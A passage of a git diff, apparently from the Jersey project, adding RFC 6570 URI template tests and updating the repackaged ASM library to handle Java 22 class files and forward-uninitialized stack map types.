+        assertEncodedPathTemplateExpansion("/value/", "{/var,empty}", var, empty);
+        assertEncodedPathTemplateExpansion("/value", "{/var,undef}", var);
+        assertEncodedPathTemplateExpansion("/v/value", "{/var:1,var}", var);
+        assertEncodedPathTemplateExpansion("/red,green,blue", "{/list}", list);
+        assertEncodedPathTemplateExpansion("/red/green/blue", "{/list*}", list);
+        assertEncodedPathTemplateExpansion("/red/green/blue/%2Ffoo", "{/list*,path:4}", list, path);
+        assertEncodedPathTemplateExpansion("/semi,%3B,dot,.,comma,%2C", "{/keys}", new Object[]{keys});
+        assertEncodedPathTemplateExpansion("/semi=%3B/dot=./comma=%2C", "{/keys*}", new Object[]{keys});
+    }
+
+    @Test
+    void testRfc6570MultiplePathArgs() {
+        _testTemplateNames("/{a,b,c}", "a", "b", "c");
+        _testMatching("/uri/{a}", "/uri/hello", "hello");
+        _testMatching("/uri/{a,b}", "/uri/hello,world", "hello", "world");
+        _testMatching("/uri{?a,b}", "/uri?a=hello&b=world", "hello", "world");
+        _testMatching("/uri/{a,b,c}", "/uri/hello,world,!", "hello", "world", "!");
+        _testMatching("/uri/{a,b,c}", "/uri/hello,world", "hello", "world", null);
+        _testMatching("/uri/{a,b,c}", "/uri/hello", "hello", null, null);
+        _testMatching("/uri/{a,b,c}", "/uri/", null, null, null);
+    }
+
+    @Test
+    void testRfc6570PathLength() {
+        _testMatching("/uri/{a:5}", "/uri/hello", "hello");
+        _testMatching("/uri/{a:5,b:6}", "/uri/hello,world!", "hello", "world!");
+        assertEncodedPathTemplateExpansion("102,7", "{x:3,y:1}", x, y);
+    }
+
+    @Test
+    void testInvalidRegexp() {
+        _assertMatchingThrowsIAE("/uri/{a**}");
+        _assertMatchingThrowsIAE("/uri/{a*a}");
+        _assertMatchingThrowsIAE("/uri/{a{");
+        _assertMatchingThrowsIAE("/uri/{*}");
+        _assertMatchingThrowsIAE("/uri/{}}");
+        _assertMatchingThrowsIAE("/uri/{?a:12345}"); //Query knows just length, but the length must be less than 10000
+        _assertMatchingThrowsIAE("/uri/{?a:0}");
+        _assertMatchingThrowsIAE("/uri/{?a:-1}");
+        _assertMatchingThrowsIAE("/uri/{??a}");
+        _assertMatchingThrowsIAE("/uri/{--a}");
+        _assertMatchingThrowsIAE("/uri/{++a}");
+    }
+
+    @Test
+    public void ignoreLastComma() {
+        UriTemplateParser parser = new UriTemplateParser("/{a,b,}");
+        Assertions.assertEquals(2, parser.getNames().size());
+    }
+
+    void _assertMatchingThrowsIAE(String uri) {
+        try {
+            _testMatching(uri, "/uri/hello", "hello");
+            throw new IllegalStateException("IllegalArgumentException checking incorrect uri " + uri + " has not been thrown");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
     }
 
     private void assertEncodedPathTemplateExpansion(final String expectedExpansion,
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java
index 21969f0..820a3b8 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java
@@ -188,13 +188,14 @@
    * @param classFileOffset the offset in byteBuffer of the first byte of the ClassFile to be read.
    * @param checkClassVersion whether to check the class version or not.
    */
+  @SuppressWarnings("PMD.ConstructorCallsOverridableMethod")
   ClassReader(
       final byte[] classFileBuffer, final int classFileOffset, final boolean checkClassVersion) {
     this.classFileBuffer = classFileBuffer;
     this.b = classFileBuffer;
     // Check the class' major_version. This field is after the magic and minor_version fields, which
     // use 4 and 2 bytes respectively.
-    if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V21) {
+    if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V22) {
       throw new IllegalArgumentException(
           "Unsupported class file major version " + readShort(classFileOffset + 6));
     }
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java
index 7bb6ab0..7588188 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java
@@ -217,6 +217,7 @@
   /**
    * Indicates what must be automatically computed in {@link MethodWriter}. Must be one of {@link
    * MethodWriter#COMPUTE_NOTHING}, {@link MethodWriter#COMPUTE_MAX_STACK_AND_LOCAL}, {@link
+   * MethodWriter#COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES}, {@link
    * MethodWriter#COMPUTE_INSERTED_FRAMES}, or {@link MethodWriter#COMPUTE_ALL_FRAMES}.
    */
   private int compute;
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java
index be4364a..30d86e5 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java
@@ -64,8 +64,8 @@
  *       right shift of {@link #DIM_SHIFT}.
  *   <li>the KIND field, stored in 4 bits, indicates the kind of VALUE used. These 4 bits can be
  *       retrieved with {@link #KIND_MASK} and, without any shift, must be equal to {@link
- *       #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND}, {@link #LOCAL_KIND}
- *       or {@link #STACK_KIND}.
+ *       #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND}, {@link
+ *       #FORWARD_UNINITIALIZED_KIND},{@link #LOCAL_KIND} or {@link #STACK_KIND}.
  *   <li>the FLAGS field, stored in 2 bits, contains up to 2 boolean flags. Currently only one flag
  *       is defined, namely {@link #TOP_IF_LONG_OR_DOUBLE_FLAG}.
  *   <li>the VALUE field, stored in the remaining 20 bits, contains either
@@ -78,7 +78,10 @@
  *         <li>the index of a {@link Symbol#TYPE_TAG} {@link Symbol} in the type table of a {@link
  *             SymbolTable}, if KIND is equal to {@link #REFERENCE_KIND}.
  *         <li>the index of an {@link Symbol#UNINITIALIZED_TYPE_TAG} {@link Symbol} in the type
- *             table of a SymbolTable, if KIND is equal to {@link #UNINITIALIZED_KIND}.
+ *             table of a {@link SymbolTable}, if KIND is equal to {@link #UNINITIALIZED_KIND}.
+ *         <li>the index of a {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG} {@link Symbol} in the
+ *             type table of a {@link SymbolTable}, if KIND is equal to {@link
+ *             #FORWARD_UNINITIALIZED_KIND}.
  *         <li>the index of a local variable in the input stack frame, if KIND is equal to {@link
  *             #LOCAL_KIND}.
  *         <li>a position relatively to the top of the stack of the input stack frame, if KIND is
@@ -88,10 +91,10 @@
  *
  * <p>Output frames can contain abstract types of any kind and with a positive or negative array
  * dimension (and even unassigned types, represented by 0 - which does not correspond to any valid
- * abstract type value). Input frames can only contain CONSTANT_KIND, REFERENCE_KIND or
- * UNINITIALIZED_KIND abstract types of positive or {@literal null} array dimension. In all cases
- * the type table contains only internal type names (array type descriptors are forbidden - array
- * dimensions must be represented through the DIM field).
+ * abstract type value). Input frames can only contain CONSTANT_KIND, REFERENCE_KIND,
+ * UNINITIALIZED_KIND or FORWARD_UNINITIALIZED_KIND abstract types of positive or {@literal null}
+ * array dimension. In all cases the type table contains only internal type names (array type
+ * descriptors are forbidden - array dimensions must be represented through the DIM field).
  *
  * <p>The LONG and DOUBLE types are always represented by using two slots (LONG + TOP or DOUBLE +
  * TOP), for local variables as well as in the operand stack. This is necessary to be able to
@@ -159,8 +162,9 @@
   private static final int CONSTANT_KIND = 1 << KIND_SHIFT;
   private static final int REFERENCE_KIND = 2 << KIND_SHIFT;
   private static final int UNINITIALIZED_KIND = 3 << KIND_SHIFT;
-  private static final int LOCAL_KIND = 4 << KIND_SHIFT;
-  private static final int STACK_KIND = 5 << KIND_SHIFT;
+  private static final int FORWARD_UNINITIALIZED_KIND = 4 << KIND_SHIFT;
+  private static final int LOCAL_KIND = 5 << KIND_SHIFT;
+  private static final int STACK_KIND = 6 << KIND_SHIFT;
 
   // Possible flags for the FLAGS field of an abstract type.
 
@@ -220,13 +224,13 @@
 
   /**
    * The abstract types that are initialized in the basic block. A constructor invocation on an
-   * UNINITIALIZED or UNINITIALIZED_THIS abstract type must replace <i>every occurrence</i> of this
-   * type in the local variables and in the operand stack. This cannot be done during the first step
-   * of the algorithm since, during this step, the local variables and the operand stack types are
-   * still abstract. It is therefore necessary to store the abstract types of the constructors which
-   * are invoked in the basic block, in order to do this replacement during the second step of the
-   * algorithm, where the frames are fully computed. Note that this array can contain abstract types
-   * that are relative to the input locals or to the input stack.
+   * UNINITIALIZED, FORWARD_UNINITIALIZED or UNINITIALIZED_THIS abstract type must replace <i>every
+   * occurrence</i> of this type in the local variables and in the operand stack. This cannot be
+   * done during the first step of the algorithm since, during this step, the local variables and
+   * the operand stack types are still abstract. It is therefore necessary to store the abstract
+   * types of the constructors which are invoked in the basic block, in order to do this replacement
+   * during the second step of the algorithm, where the frames are fully computed. Note that this
+   * array can contain abstract types that are relative to the input locals or to the input stack.
    */
   private int[] initializations;
 
@@ -284,8 +288,12 @@
       String descriptor = Type.getObjectType((String) type).getDescriptor();
       return getAbstractTypeFromDescriptor(symbolTable, descriptor, 0);
     } else {
-      return UNINITIALIZED_KIND
-          | symbolTable.addUninitializedType("", ((Label) type).bytecodeOffset);
+      Label label = (Label) type;
+      if ((label.flags & Label.FLAG_RESOLVED) != 0) {
+        return UNINITIALIZED_KIND | symbolTable.addUninitializedType("", label.bytecodeOffset);
+      } else {
+        return FORWARD_UNINITIALIZED_KIND | symbolTable.addForwardUninitializedType("", label);
+      }
     }
   }
 
@@ -637,12 +645,14 @@
    * @param symbolTable the type table to use to lookup and store type {@link Symbol}.
    * @param abstractType an abstract type.
    * @return the REFERENCE_KIND abstract type corresponding to abstractType if it is
-   *     UNINITIALIZED_THIS or an UNINITIALIZED_KIND abstract type for one of the types on which a
-   *     constructor is invoked in the basic block. Otherwise returns abstractType.
+   *     UNINITIALIZED_THIS or an UNINITIALIZED_KIND or FORWARD_UNINITIALIZED_KIND abstract type for
+   *     one of the types on which a constructor is invoked in the basic block. Otherwise returns
+   *     abstractType.
    */
   private int getInitializedType(final SymbolTable symbolTable, final int abstractType) {
     if (abstractType == UNINITIALIZED_THIS
-        || (abstractType & (DIM_MASK | KIND_MASK)) == UNINITIALIZED_KIND) {
+        || (abstractType & (DIM_MASK | KIND_MASK)) == UNINITIALIZED_KIND
+        || (abstractType & (DIM_MASK | KIND_MASK)) == FORWARD_UNINITIALIZED_KIND) {
       for (int i = 0; i < initializationCount; ++i) {
         int initializedType = initializations[i];
         int dim = initializedType & DIM_MASK;
@@ -1253,11 +1263,12 @@
    *
    * @param symbolTable the type table to use to lookup and store type {@link Symbol}.
    * @param sourceType the abstract type with which the abstract type array element must be merged.
-   *     This type should be of {@link #CONSTANT_KIND}, {@link #REFERENCE_KIND} or {@link
-   *     #UNINITIALIZED_KIND} kind, with positive or {@literal null} array dimensions.
+   *     This type should be of {@link #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link
+   *     #UNINITIALIZED_KIND} or {@link #FORWARD_UNINITIALIZED_KIND} kind, with positive or
+   *     {@literal null} array dimensions.
    * @param dstTypes an array of abstract types. These types should be of {@link #CONSTANT_KIND},
-   *     {@link #REFERENCE_KIND} or {@link #UNINITIALIZED_KIND} kind, with positive or {@literal
-   *     null} array dimensions.
+   *     {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND} or {@link #FORWARD_UNINITIALIZED_KIND}
+   *     kind, with positive or {@literal null} array dimensions.
    * @param dstIndex the index of the type that must be merged in dstTypes.
    * @return {@literal true} if the type array has been modified by this operation.
    */
@@ -1400,7 +1411,8 @@
    *
    * @param symbolTable the type table to use to lookup and store type {@link Symbol}.
    * @param abstractType an abstract type, restricted to {@link Frame#CONSTANT_KIND}, {@link
-   *     Frame#REFERENCE_KIND} or {@link Frame#UNINITIALIZED_KIND} types.
+   *     Frame#REFERENCE_KIND}, {@link Frame#UNINITIALIZED_KIND} or {@link
+   *     Frame#FORWARD_UNINITIALIZED_KIND} types.
    * @param output where the abstract type must be put.
    * @see <a href="https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.4">JVMS
    *     4.7.4</a>
@@ -1422,6 +1434,10 @@
         case UNINITIALIZED_KIND:
           output.putByte(ITEM_UNINITIALIZED).putShort((int) symbolTable.getType(typeValue).data);
           break;
+        case FORWARD_UNINITIALIZED_KIND:
+          output.putByte(ITEM_UNINITIALIZED);
+          symbolTable.getForwardUninitializedLabel(typeValue).put(output);
+          break;
         default:
           throw new AssertionError();
       }
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java
index 2933a99..0f9e3c9 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java
@@ -117,6 +117,13 @@
   static final int FORWARD_REFERENCE_TYPE_WIDE = 0x20000000;
 
   /**
+   * The type of forward references stored in two bytes in the <i>stack map table</i>. This is the
+   * case of the labels of {@link Frame#ITEM_UNINITIALIZED} stack map frame elements, when the NEW
+   * instruction is after the &lt;init&gt; constructor call (in bytecode offset order).
+   */
+  static final int FORWARD_REFERENCE_TYPE_STACK_MAP = 0x30000000;
+
+  /**
    * The bit mask to extract the 'handle' of a forward reference to this label. The extracted handle
    * is the bytecode offset where the forward reference value is stored (using either 2 or 4 bytes,
    * as indicated by the {@link #FORWARD_REFERENCE_TYPE_MASK}).
@@ -405,6 +412,20 @@
   }
 
   /**
+   * Puts a reference to this label in the <i>stack map table</i> of a method. If the bytecode
+   * offset of the label is known, it is written directly. Otherwise, a null relative offset is
+   * written and a new forward reference is declared for this label.
+   *
+   * @param stackMapTableEntries the stack map table where the label offset must be added.
+   */
+  final void put(final ByteVector stackMapTableEntries) {
+    if ((flags & FLAG_RESOLVED) == 0) {
+      addForwardReference(0, FORWARD_REFERENCE_TYPE_STACK_MAP, stackMapTableEntries.length);
+    }
+    stackMapTableEntries.putShort(bytecodeOffset);
+  }
+
+  /**
    * Adds a forward reference to this label. This method must be called only for a true forward
    * reference, i.e. only if this label is not resolved yet. For backward references, the relative
    * bytecode offset of the reference can be, and must be, computed and stored directly.
@@ -436,9 +457,12 @@
    * Sets the bytecode offset of this label to the given value and resolves the forward references
    * to this label, if any. This method must be called when this label is added to the bytecode of
    * the method, i.e. when its bytecode offset becomes known. This method fills in the blanks that
-   * where left in the bytecode by each forward reference previously added to this label.
+   * where left in the bytecode (and optionally in the stack map table) by each forward reference
+   * previously added to this label.
    *
    * @param code the bytecode of the method.
+   * @param stackMapTableEntries the 'entries' array of the StackMapTable code attribute of the
+   *     method. Maybe {@literal null}.
    * @param bytecodeOffset the bytecode offset of this label.
    * @return {@literal true} if a blank that was left for this label was too small to store the
    *     offset. In such a case the corresponding jump instruction is replaced with an equivalent
@@ -446,7 +470,8 @@
    *     instructions are later replaced with standard bytecode instructions with wider offsets (4
    *     bytes instead of 2), in ClassReader.
    */
-  final boolean resolve(final byte[] code, final int bytecodeOffset) {
+  final boolean resolve(
+      final byte[] code, final ByteVector stackMapTableEntries, final int bytecodeOffset) {
     this.flags |= FLAG_RESOLVED;
     this.bytecodeOffset = bytecodeOffset;
     if (forwardReferences == null) {
@@ -476,11 +501,14 @@
         }
         code[handle++] = (byte) (relativeOffset >>> 8);
         code[handle] = (byte) relativeOffset;
-      } else {
+      } else if ((reference & FORWARD_REFERENCE_TYPE_MASK) == FORWARD_REFERENCE_TYPE_WIDE) {
         code[handle++] = (byte) (relativeOffset >>> 24);
         code[handle++] = (byte) (relativeOffset >>> 16);
         code[handle++] = (byte) (relativeOffset >>> 8);
         code[handle] = (byte) relativeOffset;
+      } else {
+        stackMapTableEntries.data[handle++] = (byte) (bytecodeOffset >>> 8);
+        stackMapTableEntries.data[handle] = (byte) bytecodeOffset;
       }
     }
     return hasAsmInstructions;
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java
index ea2e4e4..918bd71 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodWriter.java
@@ -534,8 +534,9 @@
    * the number of stack elements. The local variables start at index 3 and are followed by the
    * operand stack elements. In summary frame[0] = offset, frame[1] = numLocal, frame[2] = numStack.
    * Local variables and operand stack entries contain abstract types, as defined in {@link Frame},
-   * but restricted to {@link Frame#CONSTANT_KIND}, {@link Frame#REFERENCE_KIND} or {@link
-   * Frame#UNINITIALIZED_KIND} abstract types. Long and double types use only one array entry.
+   * but restricted to {@link Frame#CONSTANT_KIND}, {@link Frame#REFERENCE_KIND}, {@link
+   * Frame#UNINITIALIZED_KIND} or {@link Frame#FORWARD_UNINITIALIZED_KIND} abstract types. Long and
+   * double types use only one array entry.
    */
   private int[] currentFrame;
 
@@ -693,7 +694,7 @@
     if (visible) {
       if (lastRuntimeVisibleParameterAnnotations == null) {
         lastRuntimeVisibleParameterAnnotations =
-            new AnnotationWriter[Type.getArgumentTypes(descriptor).length];
+            new AnnotationWriter[Type.getArgumentCount(descriptor)];
       }
       return lastRuntimeVisibleParameterAnnotations[parameter] =
           AnnotationWriter.create(
@@ -701,7 +702,7 @@
     } else {
       if (lastRuntimeInvisibleParameterAnnotations == null) {
         lastRuntimeInvisibleParameterAnnotations =
-            new AnnotationWriter[Type.getArgumentTypes(descriptor).length];
+            new AnnotationWriter[Type.getArgumentCount(descriptor)];
       }
       return lastRuntimeInvisibleParameterAnnotations[parameter] =
           AnnotationWriter.create(
@@ -1199,7 +1200,7 @@
   @Override
   public void visitLabel(final Label label) {
     // Resolve the forward references to this label, if any.
-    hasAsmInstructions |= label.resolve(code.data, code.length);
+    hasAsmInstructions |= label.resolve(code.data, stackMapTableEntries, code.length);
     // visitLabel starts a new basic block (except for debug only labels), so we need to update the
     // previous and current block references and list of successors.
     if ((label.flags & Label.FLAG_DEBUG_ONLY) != 0) {
@@ -1795,7 +1796,7 @@
     if (compute == COMPUTE_ALL_FRAMES) {
       Label nextBasicBlock = new Label();
       nextBasicBlock.frame = new Frame(nextBasicBlock);
-      nextBasicBlock.resolve(code.data, code.length);
+      nextBasicBlock.resolve(code.data, stackMapTableEntries, code.length);
       lastBasicBlock.nextBasicBlock = nextBasicBlock;
       lastBasicBlock = nextBasicBlock;
       currentBasicBlock = null;
@@ -1979,9 +1980,8 @@
           .putByte(Frame.ITEM_OBJECT)
           .putShort(symbolTable.addConstantClass((String) type).index);
     } else {
-      stackMapTableEntries
-          .putByte(Frame.ITEM_UNINITIALIZED)
-          .putShort(((Label) type).bytecodeOffset);
+      stackMapTableEntries.putByte(Frame.ITEM_UNINITIALIZED);
+      ((Label) type).put(stackMapTableEntries);
     }
   }
 
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java
index b577623..4256afa 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java
@@ -287,6 +287,7 @@
   int V19 = 0 << 16 | 63;
   int V20 = 0 << 16 | 64;
   int V21 = 0 << 16 | 65;
+  int V22 = 0 << 16 | 66;
 
   /**
    * Version flag indicating that the class is using 'preview' features.
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java
index adc9391..f161884 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Symbol.java
@@ -103,12 +103,25 @@
   static final int TYPE_TAG = 128;
 
   /**
-   * The tag value of an {@link Frame#ITEM_UNINITIALIZED} type entry in the type table of a class.
+   * The tag value of an uninitialized type entry in the type table of a class. This type is used
+   * for the normal case where the NEW instruction is before the &lt;init&gt; constructor call (in
+   * bytecode offset order), i.e. when the label of the NEW instruction is resolved when the
+   * constructor call is visited. If the NEW instruction is after the constructor call, use the
+   * {@link #FORWARD_UNINITIALIZED_TYPE_TAG} tag value instead.
    */
   static final int UNINITIALIZED_TYPE_TAG = 129;
 
+  /**
+   * The tag value of an uninitialized type entry in the type table of a class. This type is used
+   * for the unusual case where the NEW instruction is after the &lt;init&gt; constructor call (in
+   * bytecode offset order), i.e. when the label of the NEW instruction is not resolved when the
+   * constructor call is visited. If the NEW instruction is before the constructor call, use the
+   * {@link #UNINITIALIZED_TYPE_TAG} tag value instead.
+   */
+  static final int FORWARD_UNINITIALIZED_TYPE_TAG = 130;
+
   /** The tag value of a merged type entry in the (ASM specific) type table of a class. */
-  static final int MERGED_TYPE_TAG = 130;
+  static final int MERGED_TYPE_TAG = 131;
 
   // Instance fields.
 
@@ -151,8 +164,8 @@
    *       #CONSTANT_INVOKE_DYNAMIC_TAG} symbols,
    *   <li>an arbitrary string for {@link #CONSTANT_UTF8_TAG} and {@link #CONSTANT_STRING_TAG}
    *       symbols,
-   *   <li>an internal class name for {@link #CONSTANT_CLASS_TAG}, {@link #TYPE_TAG} and {@link
-   *       #UNINITIALIZED_TYPE_TAG} symbols,
+   *   <li>an internal class name for {@link #CONSTANT_CLASS_TAG}, {@link #TYPE_TAG}, {@link
+   *       #UNINITIALIZED_TYPE_TAG} and {@link #FORWARD_UNINITIALIZED_TYPE_TAG} symbols,
    *   <li>{@literal null} for the other types of symbol.
    * </ul>
    */
@@ -172,6 +185,9 @@
    *       {@link #CONSTANT_DYNAMIC_TAG} or {@link #BOOTSTRAP_METHOD_TAG} symbols,
    *   <li>the bytecode offset of the NEW instruction that created an {@link
    *       Frame#ITEM_UNINITIALIZED} type for {@link #UNINITIALIZED_TYPE_TAG} symbols,
+   *   <li>the index of the {@link Label} (in the {@link SymbolTable#labelTable} table) of the NEW
+   *       instruction that created an {@link Frame#ITEM_UNINITIALIZED} type for {@link
+   *       #FORWARD_UNINITIALIZED_TYPE_TAG} symbols,
    *   <li>the indices (in the class' type table) of two {@link #TYPE_TAG} source types for {@link
    *       #MERGED_TYPE_TAG} symbols,
    *   <li>0 for the other types of symbol.
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java
index e52af51..dc601a1 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/SymbolTable.java
@@ -108,12 +108,36 @@
    * An ASM specific type table used to temporarily store internal names that will not necessarily
    * be stored in the constant pool. This type table is used by the control flow and data flow
    * analysis algorithm used to compute stack map frames from scratch. This array stores {@link
-   * Symbol#TYPE_TAG} and {@link Symbol#UNINITIALIZED_TYPE_TAG}) Symbol. The type symbol at index
-   * {@code i} has its {@link Symbol#index} equal to {@code i} (and vice versa).
+   * Symbol#TYPE_TAG}, {@link Symbol#UNINITIALIZED_TYPE_TAG},{@link
+   * Symbol#FORWARD_UNINITIALIZED_TYPE_TAG} and {@link Symbol#MERGED_TYPE_TAG} entries. The type
+   * symbol at index {@code i} has its {@link Symbol#index} equal to {@code i} (and vice versa).
    */
   private Entry[] typeTable;
 
   /**
+   * The actual number of {@link LabelEntry} in {@link #labelTable}. These elements are stored from
+   * index 0 to labelCount (excluded). The other array entries are empty. These label entries are
+   * also stored in the {@link #labelEntries} hash set.
+   */
+  private int labelCount;
+
+  /**
+   * The labels corresponding to the "forward uninitialized" types in the ASM specific {@link
+   * typeTable} (see {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG}). The label entry at index {@code
+   * i} has its {@link LabelEntry#index} equal to {@code i} (and vice versa).
+   */
+  private LabelEntry[] labelTable;
+
+  /**
+   * A hash set of all the {@link LabelEntry} elements in the {@link #labelTable}. Each {@link
+   * LabelEntry} instance is stored at the array index given by its hash code modulo the array size.
+   * If several entries must be stored at the same array index, they are linked together via their
+   * {@link LabelEntry#next} field. The {@link #getOrAddLabelEntry(Label)} method ensures that this
+   * table does not contain duplicated entries.
+   */
+  private LabelEntry[] labelEntries;
+
+  /**
    * Constructs a new, empty SymbolTable for the given ClassWriter.
    *
    * @param classWriter a ClassWriter.
@@ -1130,6 +1154,18 @@
   }
 
   /**
+   * Returns the label corresponding to the "forward uninitialized" type table element whose index
+   * is given.
+   *
+   * @param typeIndex the type table index of a "forward uninitialized" type table element.
+   * @return the label corresponding of the NEW instruction which created this "forward
+   *     uninitialized" type.
+   */
+  Label getForwardUninitializedLabel(final int typeIndex) {
+    return labelTable[(int) typeTable[typeIndex].data].label;
+  }
+
+  /**
    * Adds a type in the type table of this symbol table. Does nothing if the type table already
    * contains a similar type.
    *
@@ -1149,13 +1185,13 @@
   }
 
   /**
-   * Adds an {@link Frame#ITEM_UNINITIALIZED} type in the type table of this symbol table. Does
-   * nothing if the type table already contains a similar type.
+   * Adds an uninitialized type in the type table of this symbol table. Does nothing if the type
+   * table already contains a similar type.
    *
    * @param value an internal class name.
-   * @param bytecodeOffset the bytecode offset of the NEW instruction that created this {@link
-   *     Frame#ITEM_UNINITIALIZED} type value.
-   * @return the index of a new or already existing type Symbol with the given value.
+   * @param bytecodeOffset the bytecode offset of the NEW instruction that created this
+   *     uninitialized type value.
+   * @return the index of a new or already existing type #@link Symbol} with the given value.
    */
   int addUninitializedType(final String value, final int bytecodeOffset) {
     int hashCode = hash(Symbol.UNINITIALIZED_TYPE_TAG, value, bytecodeOffset);
@@ -1174,6 +1210,32 @@
   }
 
   /**
+   * Adds a "forward uninitialized" type in the type table of this symbol table. Does nothing if the
+   * type table already contains a similar type.
+   *
+   * @param value an internal class name.
+   * @param label the label of the NEW instruction that created this uninitialized type value. If
+   *     the label is resolved, use the {@link #addUninitializedType} method instead.
+   * @return the index of a new or already existing type {@link Symbol} with the given value.
+   */
+  int addForwardUninitializedType(final String value, final Label label) {
+    int labelIndex = getOrAddLabelEntry(label).index;
+    int hashCode = hash(Symbol.FORWARD_UNINITIALIZED_TYPE_TAG, value, labelIndex);
+    Entry entry = get(hashCode);
+    while (entry != null) {
+      if (entry.tag == Symbol.FORWARD_UNINITIALIZED_TYPE_TAG
+          && entry.hashCode == hashCode
+          && entry.data == labelIndex
+          && entry.value.equals(value)) {
+        return entry.index;
+      }
+      entry = entry.next;
+    }
+    return addTypeInternal(
+        new Entry(typeCount, Symbol.FORWARD_UNINITIALIZED_TYPE_TAG, value, labelIndex, hashCode));
+  }
+
+  /**
    * Adds a merged type in the type table of this symbol table. Does nothing if the type table
    * already contains a similar type.
    *
@@ -1225,6 +1287,59 @@
     return put(entry).index;
   }
 
+  /**
+   * Returns the {@link LabelEntry} corresponding to the given label. Creates a new one if there is
+   * no such entry.
+   *
+   * @param label the {@link Label} of a NEW instruction which created an uninitialized type, in the
+   *     case where this NEW instruction is after the &lt;init&gt; constructor call (in bytecode
+   *     offset order). See {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG}.
+   * @return the {@link LabelEntry} corresponding to {@code label}.
+   */
+  private LabelEntry getOrAddLabelEntry(final Label label) {
+    if (labelEntries == null) {
+      labelEntries = new LabelEntry[16];
+      labelTable = new LabelEntry[16];
+    }
+    int hashCode = System.identityHashCode(label);
+    LabelEntry labelEntry = labelEntries[hashCode % labelEntries.length];
+    while (labelEntry != null && labelEntry.label != label) {
+      labelEntry = labelEntry.next;
+    }
+    if (labelEntry != null) {
+      return labelEntry;
+    }
+
+    if (labelCount > (labelEntries.length * 3) / 4) {
+      int currentCapacity = labelEntries.length;
+      int newCapacity = currentCapacity * 2 + 1;
+      LabelEntry[] newLabelEntries = new LabelEntry[newCapacity];
+      for (int i = currentCapacity - 1; i >= 0; --i) {
+        LabelEntry currentEntry = labelEntries[i];
+        while (currentEntry != null) {
+          int newCurrentEntryIndex = System.identityHashCode(currentEntry.label) % newCapacity;
+          LabelEntry nextEntry = currentEntry.next;
+          currentEntry.next = newLabelEntries[newCurrentEntryIndex];
+          newLabelEntries[newCurrentEntryIndex] = currentEntry;
+          currentEntry = nextEntry;
+        }
+      }
+      labelEntries = newLabelEntries;
+    }
+    if (labelCount == labelTable.length) {
+      LabelEntry[] newLabelTable = new LabelEntry[2 * labelTable.length];
+      System.arraycopy(labelTable, 0, newLabelTable, 0, labelTable.length);
+      labelTable = newLabelTable;
+    }
+
+    labelEntry = new LabelEntry(labelCount, label);
+    int index = hashCode % labelEntries.length;
+    labelEntry.next = labelEntries[index];
+    labelEntries[index] = labelEntry;
+    labelTable[labelCount++] = labelEntry;
+    return labelEntry;
+  }
+
   // -----------------------------------------------------------------------------------------------
   // Static helper methods to compute hash codes.
   // -----------------------------------------------------------------------------------------------
@@ -1275,7 +1390,7 @@
    *
    * @author Eric Bruneton
    */
-  private static class Entry extends Symbol {
+  private static final class Entry extends Symbol {
 
     /** The hash code of this entry. */
     final int hashCode;
@@ -1319,4 +1434,30 @@
       this.hashCode = hashCode;
     }
   }
+
+  /**
+   * A label corresponding to a "forward uninitialized" type in the ASM specific {@link
+   * SymbolTable#typeTable} (see {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG}).
+   *
+   * @author Eric Bruneton
+   */
+  private static final class LabelEntry {
+
+    /** The index of this label entry in the {@link SymbolTable#labelTable} array. */
+    final int index;
+
+    /** The value of this label entry. */
